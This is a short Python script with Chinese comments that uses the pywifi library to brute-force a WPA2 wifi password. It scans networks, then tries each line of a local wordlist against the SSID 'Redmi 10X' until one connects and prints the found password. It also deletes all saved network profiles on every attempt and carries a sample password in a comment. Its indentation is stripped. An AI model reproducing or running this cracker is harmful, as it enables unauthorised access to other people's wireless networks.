import pywifi
import time
from pywifi import const
# 判斷是否連接到wifi環境
def judge_connect_wifi():
#創建一個無線對象
wifi = pywifi.PyWiFi()
#獲取無線網卡名字
myinterface = wifi.interfaces()[0] # iface 是一個列表,取它的第一個元素
# print(myinterface.name()) # 無線網卡名字
# print(myinterface.status())# 連接wifi狀態
if myinterface.status() == const.IFACE_DISCONNECTED:
print('wifi未連接')
else:
print('wifi已經連接')
# judge_connect_wifi() # 調用 判斷是否連接到wifi環境
#掃描附近wifi
def scan_wifi():
#創建一個無線對象
wifi = pywifi.PyWiFi()
#獲取網卡
myinterface = wifi.interfaces()[0]
#掃描附近wifi
myinterface.scan()
scan_result = myinterface.scan_results()
# print(scan_result )
for wifi in scan_result :
print(wifi.ssid)
# scan_wifi()
#斷開wifi連接
def wificonn(wifiname,wifipwd):
#wifi的測試連接
wifi = pywifi.PyWiFi()
myinterface = wifi.interfaces()[0]
#斷開wifi連接
myinterface.disconnect()
time.sleep(0.5)
if myinterface.status() == const.IFACE_DISCONNECTED:
#創建wifi連接文件
profile = pywifi.Profile()
#wifi名稱
profile.ssid = wifiname
#wifi密碼
profile.key = wifipwd
#wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#網卡的開放
profile.auth = const.AUTH_ALG_OPEN
#加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
#刪除所有的wifi文件
myinterface.remove_all_network_profiles()
#設置新的連接文件
temp_profile = myinterface.add_network_profile(profile)
#連接wifi
myinterface.connect(temp_profile)
time.sleep(3)
if myinterface.status() == const.IFACE_CONNECTED:
return True
else:
return False
# wificonn('Redmi 10X','mnbvcxz123')
def red_pwd():
print('開始破解')
path = 'D:\coding_software\pyfile\python_chart_sixteen_7_26\2021_08_28\pwd'
file = open(path,'r')
while True:
try:
wifipwd = file.readline()
bool = wificonn('Redmi 10X',wifipwd)
if bool:
print('密碼正確,密碼是:',wifipwd)
break #只能退出一層循環
else:
print("密碼錯誤,密碼是:",wifipwd)
except:
continue
file.close()
red_pwd()